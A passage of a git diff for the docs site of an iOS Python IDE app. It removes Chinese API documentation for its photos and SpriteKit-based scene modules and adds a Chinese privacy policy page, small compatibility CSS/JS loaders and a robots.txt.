**`create_objc_class` 与 `debug`**:`debug=True` 时类名冲突会自动加后缀,返回值类名可能与传入 `name` 不同,应使用返回的 `ObjCClass`;`debug=False` 时重复定义会直接返回已存在类且忽略新定义。 -6. **新语法多义性**:关键字参数可能对应多种 selector 排列;若匹配多个或零个方法,会 `AttributeError`(`Method name is ambiguous` / `No method found`)。 -7. **`dir()`**:`ObjCClass` / `ObjCInstance` 的 `__dir__` 在 `NSObject` 层用人肉列表截断,并非运行时全部方法。 -8. **`parse_types`**:未支持的类型编码会 `NotImplementedError`;复杂方法可改用 `restype`/`argtypes` 显式指定。 diff --git a/docs/photos-module.md b/docs/photos-module.md deleted file mode 100644 index 41334e1..0000000 --- a/docs/photos-module.md +++ /dev/null @@ -1,287 +0,0 @@ -# photos 模块 — iOS 相册与相机 - -面向 Pythonista API 的兼容实现,用于在嵌入式 Python 环境中访问 iOS 照片库、调用系统相机拍照、将图片写回相册。通过主程序导出的 C 符号(`ctypes.CDLL(None)`)与 Swift/Photos 层通信。 - -在默认配置下,**选取/拍照得到的像素数据会经 Pillow 解析为 `PIL.Image`**;若未安装 PIL,可选用 `raw_data=True`(仅 `pick_image`)或依赖 `base64_to_image` 在无 PIL 时返回 `bytes`。 - -实现文件:`pyboot/photos.py`。 - ---- - -## 核心函数 - -### `pick_image(show_albums=False, include_metadata=False, original=True, raw_data=False, multi=False, **kwargs)` → `PIL.Image | bytes | None` - -从系统照片选择器选取一张图片。 - -| 行为 | 说明 | -|------|------| -| 成功 | `raw_data=False` 且已安装 Pillow:返回 `PIL.Image`;`raw_data=True`:返回 `bytes`(含长度前缀剥离后的纯图像文件数据)。 | -| 取消 | 返回 `None`。 | -| 无 PIL | 若 `raw_data=False`,打印错误并返回 `None`;若 `raw_data=True`,不依赖 PIL。 | - -**参数(兼容 Pythonista,多数忽略):** - -- `show_albums`、`include_metadata`、`original`、`multi`:接受但**不使用**。 -- `**kwargs`:全部忽略。 - -底层调用:`photos_pick_image_data()`,返回内存由 `photos_free_data` 释放。 - ---- - -### `capture_image(camera='back', show_preview=True, flash='auto', **kwargs)` → `PIL.Image | None` - -使用系统相机界面拍照(iOS 侧为 `UIImagePickerController` 一类流程)。 - -| 行为 | 说明 | -|------|------| -| 成功 | 返回 `PIL.Image`(经 `Image.open(BytesIO(...))`)。 | -| 取消 | 返回 `None`。 | -| 无 PIL | 打印错误并返回 `None`(**不支持** `raw_data`,与 `pick_image` 不同)。 | - -**参数(均忽略,仅兼容签名):** - -- `camera`:如 `'back'`、`'front'`、`'rear'` 等。 -- `show_preview`、`flash`:如 `'auto'`、`'on'`、`'off'`。 -- `**kwargs`:忽略。 - -底层调用:`photos_capture_image_data()`。 - ---- - -### `save_image(image, format='JPEG', quality=0.85, album_name=None, **kwargs)` → `bool` - -将图片保存到系统照片库。 - -| 参数 | 说明 | -|------|------| -| `image` | `PIL.Image.Image` 或 `bytes`(原始图像文件数据)。其它类型会报错并返回 `False`。 | -| `format` | 字符串,`'JPEG'` 或 `'PNG'`(传入 `PIL.Image.save` 时使用 `format.upper()`)。 | -| `quality` | `0.0`–`1.0`,JPEG 时传给 Pillow 为 `int(quality * 100)`;同时作为 `float` 传给原生 `photos_save_image`。 | -| `album_name` | **忽略**,实际保存位置由系统决定(相当于写入「最近项目」类行为,与 Pythonista 兼容占位)。 | -| `**kwargs` | 忽略。 | - -返回:原生层成功为 `True`,否则 `False`。 - ---- - -### `get_assets(media_type='photo', limit=0, **kwargs)` → `list[Asset]` - -枚举照片库资源元数据列表。 - -| 参数 | 说明 | -|------|------| -| `media_type` | `'photo'`、`'video'` 或 `'all'`(传入原生 JSON API)。 | -| `limit` | `0` 表示不限制;否则为最大条数。 | -| `**kwargs` | 忽略。 | - -失败或未初始化时返回 `[]`。底层:`photos_get_assets_json`,JSON 中 `assets` 数组逐项构造 `Asset`。 - ---- - -### `pick_asset(assets=None, title=None, multi=False, **kwargs)` → `Asset | None` - -弹出资源选择器,选中后返回带元数据的 `Asset`。 - -| 参数 | 说明 | -|------|------| -| `assets`、`title`、`multi` | **忽略**(兼容 Pythonista)。 | -| `**kwargs` | 忽略。 | - -取消或失败返回 `None`。底层:`photos_pick_asset_json()`,解析为单个资源字典后包装为 `Asset`。若 JSON 中含 `image_data_base64`,可供 `Asset.get_image` 使用。 - ---- - -### `get_image(asset, original=True)` → `PIL.Image | bytes | None` - -模块级快捷方式:等价于在 `asset` 为 `Asset` 时调用 `asset.get_image(original=original)`(默认不传 `raw_data`,故一般为 `PIL.Image` 或 `None`)。非 `Asset` 返回 `None`。 - ---- - -## `Asset` 类 - -表示一条照片库资源,内部持有 `_info` 字典(来自 Swift 侧 JSON)。 - -### 只读属性 - -| 属性 | 类型 | 说明 | -|------|------|------| -| `local_identifier` | `str` | 本地唯一标识,缺省 `''`。 | -| `media_type` | `int` | `0` 未知,`1` 图片,`2` 视频。 | -| `pixel_width` | `int` | 像素宽(JSON 键 `width`)。 | -| `pixel_height` | `int` | 像素高(JSON 键 `height`)。 | -| `creation_date` | 任意 / `None` | 创建时间戳(由 JSON `creation_date`)。 | -| `modification_date` | 任意 / `None` | 修改时间戳。 | -| `location` | `(lat, lon) \| None` | 当 `latitude` 与 `longitude` 均存在时为元组,否则 `None`。 | -| `duration` | `float` | 视频时长(秒);图片一般为 `0`。 | -| `is_favorite` | `bool` | 是否标记为喜欢,缺省 `False`。 | - -### 方法 - -#### `get_image(original=True, raw_data=False)` → `PIL.Image | bytes | None` - -- 若 `_info` 中含 `image_data_base64`:先 Base64 解码为字节;`raw_data=True` 时直接返回 `bytes`;否则用 Pillow 打开为 `PIL.Image`。 -- 若无嵌入图像数据:打印 `⚠️ [Asset.get_image] 图片数据不可用` 并返回 `None`(源码中标注 TODO:未实现按标识符重新拉取)。 - -`original` 参数为 API 兼容保留;当前实现**不区分**是否原始图。 - -#### `get_ui_image(original=True)` → `PIL.Image | bytes | None` - -文档说明在 Python 中等价于返回 PIL 图像;实现上直接调用 `self.get_image(original=original)`,故返回值与 `get_image` 相同(非 UIKit 的 `UIImage` 对象)。 - -#### `__repr__` - -形如 ``(媒体类型英文枚举字符串)。 - ---- - -## `AssetCollection` 类 - -表示相册、智能相册或「时刻」集合。 - -### 属性 - -| 属性 | 说明 | -|------|------| -| `title` | `str`,展示标题。 | -| `local_identifier` | `str`,标识符;构造时可为 `None`,内部回退为 `title`。 | -| `count` | `int`,资源数量(只读 property,底层 `_count`)。 | -| `collection_type` | `str`:`'album'`、`'smart_album'`、`'moment'` 等(由 JSON 的 `type` 字段填入)。 | - -### 方法 - -#### `get_assets()` → `list[Asset]` - -**当前实现恒返回 `[]`**,并打印 `⚠️ [AssetCollection.get_assets] 暂不支持`。预留与 Pythonista 一致的方法名,待原生层支持按相册拉取列表后可扩展。 - -#### `__repr__` - -形如 ``。 - ---- - -## 相册管理函数 - -### `get_albums()` → `list[AssetCollection]` - -用户相册列表。JSON 键 `albums`,每项含 `title`、`identifier`、`count`、`type`。 - -### `get_smart_albums()` → `list[AssetCollection]` - -系统智能相册。结构同上,`collection_type` 来自 JSON `type`。 - -### `get_moments()` → `list[AssetCollection]` - -按时间/地点分组的「时刻」。JSON 键 `moments`,字段映射与相册类似。 - -### `create_album(title)` → `AssetCollection | None` - -创建相册。成功时返回 `AssetCollection(title=..., identifier=..., count=0, collection_type='album')`,字段以 JSON 为准(`title`、`identifier`)。 - -### `get_screenshots_album()` → `AssetCollection | None` - -截图智能相册;失败 `None`。默认标题占位 `'屏幕截图'`。 - -### `get_recently_added_album()` → `AssetCollection | None` - -「最近添加」智能相册;标题占位 `'最近添加'`。 - -### `get_selfies_album()` → `AssetCollection | None` - -自拍相册;标题占位 `'自拍'`。 - -上述函数在未初始化或异常时分别返回 `[]` 或 `None`,并可能打印以 `❌ [photos....]` 开头的错误信息。 - ---- - -## 便捷函数 - -### `pick_image_base64(format='JPEG', quality=0.85)` → `str | None` - -内部 `pick_image(raw_data=True)` 取得字节;若 `format.upper()=='JPEG'` 且 Pillow 可用,则尝试用 PIL 打开并转码为 JPEG(`quality` 映射为 `int(quality * 100)`),失败则保留原始字节;最后返回 **标准 Base64 字符串**。取消返回 `None`。 - -### `capture_image_base64(format='JPEG', quality=0.85)` → `str | None` - -依赖 `capture_image()`(**需要 PIL**)。将得到的 `PIL.Image` 按 `JPEG`/`PNG` 写入缓冲区后 Base64 编码。取消返回 `None`。 - -### `image_to_base64(image, format='JPEG', quality=0.85)` → `str` - -`PIL.Image`:JPEG 会先 `convert('RGB')`;PNG 用 `format.upper()`。`bytes`:原样编码。其它类型抛出 `ValueError("Unsupported image type")`。 - -### `base64_to_image(b64_string)` → `PIL.Image | bytes` - -解码后:有 Pillow 则 `Image.open(BytesIO(...))`,否则返回原始 `bytes`。 - -### `get_favorites()` → `list[Asset]` - -对 `get_assets(media_type='photo', limit=0)` 全量结果过滤 `asset.is_favorite`。库很大时性能取决于原生返回规模。 - -### `get_count(media_type='photo')` → `int` - -`len(get_assets(media_type=media_type, limit=0))`。异常时返回 `0`。 - -### `get_recent_images(count=10)` → `list[Asset]` - -等价 `get_assets(media_type='photo', limit=count)`。 - -### `get_image_size(image)` → `tuple[int, int]` - -若 `image` 为 `PIL.Image.Image`,返回 `image.size`(`(width, height)`);否则返回 `(0, 0)`。**不**支持直接传入 `bytes`。 - -### `get_metadata(image)` → `dict` - -仅当参数为 `PIL.Image.Image` 时,尝试 `image._getexif()`(Pillow 旧式 EXIF API);有则转为普通 `dict`,否则 `{}`。无 EXIF 或异常时返回 `{}`。 - -### `is_available()` → `bool` - -若 `_init_lib()` 成功得到非空库指针则 `True`,否则 `False`。导入模块时会执行一次 `_init_lib()`。 - ---- - -## 模块导出 `__all__` - -`pick_image`, `capture_image`, `save_image`, `get_assets`, `pick_asset`, `get_image`, `Asset`, `AssetCollection`, `get_albums`, `get_smart_albums`, `get_moments`, `create_album`, `get_screenshots_album`, `get_recently_added_album`, `get_selfies_album`, `pick_image_base64`, `capture_image_base64`, `image_to_base64`, `base64_to_image`, `get_favorites`, `get_count`, `get_recent_images`, `get_image_size`, `get_metadata`, `is_available`。 - ---- - -## 完整示例 - -```python -import photos -from PIL import Image, ImageFilter - -# 选择图片并应用滤镜 -img = photos.pick_image() -if img: - filtered = img.filter(ImageFilter.GaussianBlur(radius=5)) - photos.save_image(filtered) - print(f"已保存 {img.size[0]}x{img.size[1]} 图片") - -# 获取最近照片的元数据 -assets = photos.get_recent_images(5) -for a in assets: - print(f"{a.pixel_width}x{a.pixel_height} fav={a.is_favorite}") -``` - -### 无 Pillow 时读取原始字节 - -```python -import photos - -data = photos.pick_image(raw_data=True) -if data: - # 自行写入文件或上传 - open("picked.bin", "wb").write(data) -``` - ---- - -## 注意事项 - -1. **权限**:首次访问照片库或相机时,系统会弹出授权对话框;用户拒绝则相关调用可能失败或返回空/`None`。 -2. **Pillow**:多数图像路径依赖内置 PIL/Pillow;`pick_image(raw_data=True)` 与 `base64_to_image` 可在无 PIL 时部分工作。 -3. **阻塞**:`pick_image`、`capture_image`、`pick_asset` 等会阻塞当前 Python 线程,直到用户完成或取消界面操作。 -4. **Pythonista 兼容**:大量参数仅接受以保持签名兼容,**不参与**本机实现逻辑。 -5. **Asset 图像数据**:通过 `get_assets` 得到的 `Asset` 可能**没有**内嵌 `image_data_base64`,此时 `get_image` 会返回 `None`,需结合后续原生扩展或改用 `pick_asset` 等流程。 -6. **`get_metadata`**:依赖 Pillow 的 `_getexif()`,不同版本/Pillow 2.x 行为可能略有差异;新代码可考虑在将来迁移到 `getexif()`。 -7. **相册枚举与 `AssetCollection.get_assets`**:可列出相册元信息,但**按相册列出资源**尚未在 Python 层实现。 diff --git a/docs/privacy/index.html b/docs/privacy/index.html new file mode 100644 index 0000000..c587592 --- /dev/null +++ b/docs/privacy/index.html @@ -0,0 +1,128 @@ + + + + + + + + + + + + + + + 隐私政策 — PythonIDE + + + +
+ + +
+

隐私

你的创作,应该始终属于你。

本政策说明哪些内容保留在设备上、哪些内容只在你使用在线功能时发送,以及你可以如何控制它们。

生效及最近更新:2026 年 7 月 16 日

+ +
+ +
+
+

隐私原则概览

+
+
本地优先脚本、项目、设置与 AI 对话历史主要保存在你的设备,或你主动选择的 iCloud Drive 等存储位置。
+
明确的在线操作仅当你登录、发布社区作品、验证购买或发起在线 AI 请求时,相关数据才会发送至我们的服务或第三方。
+
敏感信息受保护AI API 密钥、自定义认证信息与登录凭证在受支持的平台上使用系统钥匙串保存。
+
不出售数据、不做广告追踪PythonIDE 不出售个人信息,也不会用你的代码或 AI 提示词建立第三方广告画像。
+
+
适用范围

本政策适用于 PythonIDE App、pythonide.xin、账户与社区服务、PythonIDE AI 代理及官方支持渠道。你主动选择的第三方服务适用其各自政策。

+
+ +
+

我们处理哪些数据

+

1. 文件、代码与本地设置

+

你的脚本、项目文件、编辑器状态、已安装包信息、书签、下载内容、本地运行输出和大部分偏好设置保存在本地。若你把文稿保存到 iCloud Drive 或其他文件提供商,该提供商会依据你的账户与设置处理它。

+

2. 账户与身份信息

+

当你使用“通过 Apple 登录”或社区账户功能时,我们可能处理 Apple 用户标识、会话令牌、Apple 提供时的姓名与邮箱、头像、用户名、账户状态,以及维护账户安全与防滥用所需的记录。

+

3. 社区内容

+

你主动提交的内容可能包括源码、标题、描述、分类、封面或预览素材、作者资料、审核状态、处理原因、使用统计与相关时间。通过审核的内容会公开展示,并可能按界面提示被其他用户复制或导入。

+

4. 购买与权益

+

付款资料由 Apple 处理。PythonIDE 仅处理加载商品、验证购买、恢复权益、同步订阅状态、响应退款、防止滥用与排查问题所需的最少 StoreKit 交易和权益信息,包括商品标识、签名交易数据、交易标识、环境、到期或撤销状态及 App 范围内的计费身份。

+

5. 服务与安全记录

+

服务器可能处理请求时间、接口路径、响应状态、App 版本、用于账户完整性的设备或安装标识、设备认证结果、额度使用与精简错误信息。这些记录用于运行服务、防欺诈与故障排查,不用于广告画像。

+
+ +
+

AI 服务与你的内容

+

当你发起在线 AI 请求时,PythonIDE 会发送完成该请求所需的内容。根据你的选择,这可能包括提示词、所选对话历史、所选代码或文件、图片或附件、工具结果、模型设置与生成回复。

+
    +
  • 平台 AI:请求会经过 PythonIDE AI 代理,用于鉴权、额度控制、模型路由与返回结果。
  • +
  • 自有模型服务:请求会发送到你配置的提供商或兼容接口,其隐私政策与条款同时适用。
  • +
  • 端侧模型:当你选择受支持的端侧模型时,符合条件的处理可以在本地完成,无需把请求发送给云端模型。
  • +
+

AI 对话与执行轨迹会在本地保存,以便连续使用和排查问题。App 内 AI 分析属于本地运行记录,文件路径会以摘要形式记录而非原文;在线模型提供方可能依据自身政策独立保存数据。发送机密材料前,请阅读专门的《AI 服务与数据使用说明》。

+

查看 AI 服务与数据使用说明

+
+ +
+

系统权限与原生能力

+

PythonIDE 可向脚本与 AppUI 作品提供可选的原生能力。只有当你或你选择运行的脚本调用相关功能时,系统才会请求权限;拒绝权限会阻止该功能访问受保护资源。

+
+
媒体与输入相机、麦克风、语音识别、照片、Apple Music 与蓝牙仅用于你主动发起的操作。
+
个人与健康数据通讯录、日历、提醒事项、健康数据、运动与定位均需系统授权,并受你授予的访问范围限制。
+
附近与设备能力本地网络、NFC、通知、闹钟、Face ID、WeatherKit、快捷指令与小组件仅用于你启用的受支持功能。
+
+
运行前请检查代码

社区或导入脚本可能请求网络或系统能力。PythonIDE 提供权限边界,但你仍应检查不受信任的代码,并仅授予必要权限。

+
+ +
+

共享、委托处理与公开

+

我们仅会为提供你请求的功能、运行与保护服务、履行法律义务或保护用户与 PythonIDE 而共享必要数据。相关接收方可能包括:

+
    +
  • Apple:用于通过 Apple 登录、App Store 分发、StoreKit 购买与退款、iCloud 及你启用的系统服务。
  • +
  • 你选择的 AI 提供方或自定义接口:用于在线 AI 推理。
  • +
  • 基础设施服务商:在运行与安全控制下托管账户、社区、权益和 AI 代理服务。
  • +
  • 公众与其他用户:用于你主动公开的社区内容与作者资料。
  • +
  • 主管机关或相关方:在遵守法律、执行协议、调查滥用或保护权利与安全所合理必需时。
  • +
+

PythonIDE 不出售个人信息,也不会为定向广告把私有代码或 AI 提示词披露给广告商。

+
+ +
+

保存、删除与注销账户

+

本地数据会保留到你删除、清除 App 数据或卸载 App 为止,并可能受 iCloud 或文件提供商同步影响。账户与社区数据在账户有效期间保留,之后仅在安全、争议处理、服务完整性或法律义务所需范围内继续保存;备份副本与防滥用记录可能需要额外时间到期。

+

你可以在 App 内永久删除 PythonIDE 账户。当前流程会通过 Apple 重新验证身份、撤销有效会话、移除个人资料字段、从正常服务中移除已发布脚本与待审提交,并安排相关清理。删除 PythonIDE 账户不会自动取消 Apple 订阅。

+

查看账户删除说明 · 管理订阅

+
+ +
+

你的选择与控制权

+
    +
  • 在功能支持的范围内,通过 App 访问和修改个人资料与社区内容。
  • +
  • 通过 App 与系统中的相关控制删除本地文件、对话、轨迹、预设或 App 数据。
  • +
  • 在 Apple 系统设置中更改或撤销权限。
  • +
  • 更换 AI 提供方、使用受支持的端侧模型,或不发送特定内容。
  • +
  • 在功能支持时移除自己的社区内容、申请复核社区处理决定,或永久删除账户。
  • +
  • 联系我们,提出适用法律下的访问、更正、删除、限制处理或其他权利请求。
  • +
+

未成年人

+

PythonIDE 是通用编程工具,并非面向低龄儿童。若当地法律要求监护人同意,未成年人应在取得同意后使用在线账户、社区、购买与 AI 功能。如你认为未成年人未经适当授权提供了个人信息,请联系我们。

+

安全与跨境处理

+

我们采用传输加密、系统安全能力、StoreKit 签名数据、启用时的设备认证、访问控制与防滥用措施。任何服务都无法保证绝对安全。在线提供方与基础设施可能在你所在地区以外处理数据,并受其条款和适用保障措施约束。

+
+ +
+

政策更新与联系

+

当功能、服务商或法律要求变化时,我们可能更新本政策。重要变更会更新页面顶部日期,并在适当时通过 App 或网站提示。中英文版本旨在表达同一政策;如文字存在差异,在法律允许范围内以中文版本为准。

+
隐私联系

开发者:张文禄 · 邮箱:jinwandalaohu940@gmail.com

+
+
+
+
+ + +
+ + diff --git a/docs/referral/referral.css b/docs/referral/referral.css new file mode 100644 index 0000000..722e249 --- /dev/null +++ b/docs/referral/referral.css @@ -0,0 +1,2 @@ +/* Compatibility entry for older cached invitation pages. */ +@import url("/assets/site.css"); diff --git a/docs/referral/referral.js b/docs/referral/referral.js new file mode 100644 index 0000000..5248e3a --- /dev/null +++ b/docs/referral/referral.js @@ -0,0 +1,8 @@ +/* Compatibility entry for older cached invitation pages. */ +(function () { + if (document.querySelector('script[src="/assets/site.js"]')) return; + var script = document.createElement("script"); + script.src = "/assets/site.js"; + script.defer = true; + document.head.appendChild(script); +}()); diff --git a/docs/robots.txt b/docs/robots.txt new file mode 100644 index 0000000..df99126 --- /dev/null +++ b/docs/robots.txt @@ -0,0 +1,5 @@ +User-agent: * +Allow: / +Disallow: /404.html + +Sitemap: https://pythonide.xin/sitemap.xml diff --git a/docs/scene-module.md b/docs/scene-module.md deleted file mode 100644 index 85dec6c..0000000 --- a/docs/scene-module.md +++ /dev/null @@ -1,719 +0,0 @@ -# scene 模块 — 2D 游戏与动画引擎 - -基于 **SpriteKit** 的 Pythonista 兼容 2D 游戏/动画引擎。Python 侧实现位于 `pyboot/scene.py`,通过 ctypes 调用原生桥接(`pythonide/SceneBridge.swift`);Classic 即时绘图 API 由 `pyboot/scene_drawing.py` 提供,并可通过 `scene` 模块的延迟导入直接使用(例如 `scene.fill`)。 - -**坐标系**:原点位于**左下角** `(0, 0)`,**y 轴向上**。这与 `ui` 模块(左上角原点、y 向下)相反,布局时务必区分。 - ---- - -## 坐标系 - -| 项目 | 说明 | -|------|------| -| 原点 | 左下角 `(0, 0)` | -| y 轴 | 向上为正 | -| 场景尺寸 | 在 `setup()` 及之后的生命周期回调中,使用 `self.size`(`Size` 类型),常用 `self.size.w`、`self.size.h` 表示逻辑分辨率下的宽、高 | -| 安全区域 | `self.safe_area_insets` → `EdgeInsets(top, bottom, left, right)`,单位与场景点一致;用于避开刘海、Home 指示条等 | - ---- - -## 几何类型 - -### `Vector2(x, y)` - -二维向量基类,`Point` 和 `Size` 均继承自它。 - -**运算符**(全部支持): - -| 运算 | 说明 | -|------|------| -| `+` `-` `*` `/` | 与标量或另一向量分量运算,返回 `Vector2` | -| `+=` `-=` `*=` `/=` | 就地运算(`__iadd__` 等) | -| 反向运算 | `3 * v`、`(1,2) + v` 等(`__radd__`、`__rsub__`、`__rmul__`) | -| `-v` | 取反(`__neg__`) | -| `==` `!=` | 值比较 | -| `hash()` | 可哈希(可用作字典键) | -| `bool(v)` | 非零向量为 `True` | -| `abs(v)` | 返回模长 `sqrt(x² + y²)` | -| `v[0]` `v[1]` | 索引访问 | -| `iter(v)` | 可迭代为 `(x, y)` | -| `len(v)` | 返回 `2` | - -### `Point(x, y)` - -`Vector2` 的子类,表示**位置**。算术运算返回 `Point`(而非基类 `Vector2`)。 - -### `Size(x, y)` - -`Vector2` 的子类,表示**尺寸**。除 `x`、`y` 外提供: - -- **`w`** / **`h`**:`x` / `y` 的别名属性(可读写) -- 算术运算返回 `Size`(而非基类 `Vector2`) - -### `Rect(x, y, w, h)` - -轴对齐矩形,**原点为左下角**的 `(x, y)`,宽 `w`、高 `h`。 - -**属性** - -- `width` / `height`:同 `w` / `h` -- `origin` → `Point` -- `size` → `Size` -- `min_x`、`max_x`、`min_y`、`max_y` -- `center` → `Point`(中心点) - -**方法** - -- `contains_point(p)`、`contains_rect(r)` -- `intersects(r)`、`intersection(r)`、`union(r)` -- `inset(top, left, bottom=None, right=None)`:`bottom`/`right` 缺省时分别默认等于 `top`/`left`,返回内缩后的新 `Rect` -- `translate(dx, dy)` → `Rect`:返回平移后的新矩形 - -**运算符** - -- `point in rect`:支持 `Point` 或 `(x, y)` 序列 -- `==`、`hash()`、`len(rect)` → `4` -- `__repr__`:`Rect(x, y, w, h)` 格式 - -### `Vector3(x, y, z)` - -三维向量,例如配合设备重力(见 `gravity()`)。支持 `[0]`/`[1]`/`[2]` 索引、`iter`、`len()` → `3`。 - -### `EdgeInsets(top, bottom, left, right)` - -安全区域边距,字段:`top`、`bottom`、`left`、`right`。 - ---- - -## `Scene` 类 - -### 构造与背景 - -```python -class MyScene(Scene): - def setup(self): - self.background_color = '#2c3e50' # 支持颜色名、'#RRGGBB'、元组、灰度浮点 -``` - -基类 `__init__` 中默认 `background_color = (0.2, 0.2, 0.2, 1.0)`。 - -### 主要属性 - -| 属性 | 类型 | 说明 | -|------|------|------| -| `size` | `Size` | 场景逻辑尺寸(`setup` 时由桥接设置) | -| `bounds` | `Rect` | `Rect(0, 0, size.w, size.h)` | -| `background_color` | 元组 | 设置时支持颜色名/`#RRGGBB`/元组/灰度浮点;**读取始终返回 `(r,g,b,a)` 4-tuple** | -| `t` | `float` | 场景启动以来的时间(秒) | -| `dt` | `float` | 上一帧到当前帧的时间间隔(秒) | -| `touches` | `dict` | 当前按下未起的触摸,`touch_id` → `Touch` | -| `physics_world` | `PhysicsWorld` | 物理世界(重力等) | -| `safe_area_insets` | `EdgeInsets` | 调用 `get_safe_area_insets()` 的便捷属性 | -| `view` | `SceneView` | 当前场景所在的视图(只读,运行后可用) | -| `presented_scene` | `Scene` / `None` | 当前模态呈现的子场景 | -| `presenting_scene` | `Scene` / `None` | 呈现本场景的父场景 | -| `effects_enabled` | `bool` | 是否启用 EffectNode 效果(默认 `False`) | -| `crop_rect` | `Rect` / `None` | EffectNode 裁剪区域 | - -### 生命周期回调(子类重写) - -| 回调 | 说明 | -|------|------| -| `setup()` | 场景开始时**调用一次**;此时 `self.size` 已可用 | -| `update()` 或 `update(dt)` | **每帧**在绘制前调用;两种签名均支持,推荐使用 `self.dt` | -| `draw()` | **Classic 模式**:每帧调用,内用绘图函数 | -| `did_evaluate_actions()` | 所有 Action 执行完毕后调用(每帧 `update` 之后) | -| `touch_began(touch)` / `touch_moved(touch)` / `touch_ended(touch)` | 触摸事件 | -| `did_change_size()` | 尺寸或方向变化(如旋转)后调用 | -| `contact_began(contact)` | 物理**接触开始**时调用(需配置物理体与掩码) | -| `pause()` / `resume()` | 应用进入后台 / 回到前台 | -| `stop()` | 场景结束或关闭时 | -| `controller_changed()` | 游戏控制器连接/断开时调用 | - -### 方法 - -- `add_child(node)`:将节点加到场景根节点 -- `present_modal_scene(scene)`:以模态方式叠放另一场景(自动设置 `presented_scene`/`presenting_scene`) -- `dismiss_modal_scene()`:关闭当前模态场景(自动清除引用) - ---- - -## `Touch` 类 - -由引擎构造,无需自行实例化。 - -| 属性 | 类型 | 说明 | -|------|------|------| -| `location` | `Point` | 当前触点位置 | -| `prev_location` | `Point` | 上一位置 | -| `touch_id` | `int` | 触摸跟踪 ID | - ---- - -## `Node` 类 - -### 构造 - -```python -Node( - position=(0, 0), - z_position=0, - scale=1, - x_scale=1, - y_scale=1, - alpha=1, - speed=1, - parent=None, -) -``` - -内部会将 **`x_scale`、`y_scale` 设为 `scale * x_scale`、`scale * y_scale`**。若指定 `parent`,会自动 `parent.add_child(self)`。 - -### 属性 - -| 属性 | 类型 | 说明 | -|------|------|------| -| `position` | `Point` | 可读可写;可赋 `Point` 或序列 | -| `rotation` | `float` | 弧度;可读可写 | -| `x_scale` / `y_scale` | `float` | 缩放 | -| `alpha` | `float` | 透明度 | -| `z_position` | `float` | 深度顺序 | -| `speed` | `float` | Action 执行速度倍率(默认 1.0,设为 0 暂停动画) | -| `paused` | `bool` | 节点及子树是否暂停 | -| `blend_mode` | `int` | 混合模式,见常量 `BLEND_*` | -| `physics_body` | `PhysicsBody` / `None` | 物理刚体 | -| `shader` | `Shader` / `None` | 自定义着色器 | -| `frame` / `bbox` | `Rect` | 只读,全局坐标包围盒 | -| `scene` | `Scene` / `None` | 所属场景(只读,沿 parent 链查找) | -| `children` | `list` | 子节点列表(只读) | -| `parent` | `Node` / `None` | 父节点(只读) | - -### 方法 - -| 方法 | 说明 | -|------|------| -| `add_child(node)` | 添加子节点 | -| `remove_from_parent()` | 从父节点移除 | -| `run_action(action, key=None)` | 执行动作 | -| `remove_action(key)` | 移除指定动作 | -| `remove_all_actions()` | 移除所有动作 | -| `point_to_scene(point)` | 将本节点坐标转为场景坐标,返回 `Point` | -| `point_from_scene(point)` | 将场景坐标转为本节点坐标,返回 `Point` | -| `render_to_texture(crop_rect=None)` | 将节点渲染为 `Texture`,可选裁剪区域 | - ---- - -## `SpriteNode` 类(继承 `Node`) - -### 构造 - -```python -SpriteNode( - texture=None, - position=(0, 0), - z_position=0, - scale=1, - x_scale=1, - y_scale=1, - alpha=1, - speed=1, - color='white', - size=None, - blend_mode=BLEND_NORMAL, - parent=None, -) -``` - -- **`texture`**:`str`(内置图名如 `'plc:Alien_Green'`、或文件路径)、`Texture` 实例、或 `None`(纯色矩形) -- **`color`**:颜色名、`'#RRGGBB'`、`(r,g,b[,a])` 元组、或 `0.0-1.0` 灰度浮点 -- **`size`**:可选 `(w, h)`;**无纹理时必须指定 `size`,否则不可见** - -### 属性 - -| 属性 | 说明 | -|------|------| -| `size` | `Size`,可读 | -| `anchor_point` | 默认 `(0.5, 0.5)`,可读可写 | -| `color` | 设置时支持任意颜色格式;**读取始终返回 `(r,g,b,a)` 4-tuple** | - ---- - -## `LabelNode` 类(继承 `Node`) - -### 构造 - -```python -LabelNode( - text, - font=('Helvetica', 20), - position=(0, 0), - z_position=0, - scale=1, - x_scale=1, - y_scale=1, - alpha=1, - speed=1, - parent=None, - color=None, -) -``` - -### 属性 - -| 属性 | 说明 | -|------|------| -| `text` | `str`,文本内容 | -| `font` | `(name, size)` 元组 | -| `color` | 设置时支持任意颜色格式;**读取始终返回 `(r,g,b,a)` 4-tuple** | -| `alignment` | `(horizontal, vertical)`:水平 0=Center 1=Left 2=Right;垂直 0=Center 1=Top 2=Bottom 3=Baseline | - ---- - -## `ShapeNode` 类(继承 `Node`) - -### 构造 - -```python -ShapeNode( - path=None, - fill_color='white', - stroke_color='clear', - position=(0, 0), - z_position=0, - scale=1, - x_scale=1, - y_scale=1, - alpha=1, - speed=1, - line_width=1, # 别名 stroke_width - shadow=None, - parent=None, -) -``` - -### `path` 格式 - -支持两种格式: - -**`ui.Path` 对象**(推荐): - -```python -import ui -path = ui.Path.rect(0, 0, 100, 50) -path = ui.Path.oval(0, 0, 80, 80) -path = ui.Path.rounded_rect(0, 0, 100, 50, 10) -``` - -**元组格式**: - -- `('rect', x, y, w, h)` 或 `('rect', x, y, w, h, corner_radius)` -- `('oval', x, y, w, h)` - -### 属性与方法 - -| 属性/方法 | 说明 | -|------|------| -| `fill_color` | 设置时支持任意颜色格式;**读取始终返回 `(r,g,b,a)` 4-tuple** | -| `stroke_color` | 同上 | -| `line_width` | 描边宽度(`stroke_width` 为别名) | -| `shadow` | `(color, x_offset, y_offset, blur_radius)` 元组,阴影效果 | -| `set_path(path)` | 更新路径(支持 `ui.Path` 或元组格式) | - ---- - -## `EmitterNode` 类(继承 `Node`) - -```python -EmitterNode( - file_named=None, - position=(0, 0), - z_position=0, - scale=1, - x_scale=1, - y_scale=1, - alpha=1, - speed=1, - parent=None, -) -``` - -`file_named` 为粒子系统资源名。 - ---- - -## `EffectNode` 类(继承 `Node`) - -特效容器节点,子节点可应用滤镜/裁剪效果。 - -```python -EffectNode( - position=(0, 0), - z_position=0, - parent=None, -) -``` - -| 属性 | 类型 | 说明 | -|------|------|------| -| `effects_enabled` | `bool` | 是否启用特效渲染(默认 `False`) | -| `crop_rect` | `Rect` / `None` | 裁剪区域 | - ---- - -## `Texture` 类 - -```python -Texture(name_or_image) -``` - -- **`name_or_image`**:`str`(若路径存在则按文件创建,否则作为纹理名/ID 使用)、或带 `to_base64()` / `to_png()` 的对象(如 `ui.Image`) - -| 属性 | 类型 | 说明 | -|------|------|------| -| `size` | `Size` | 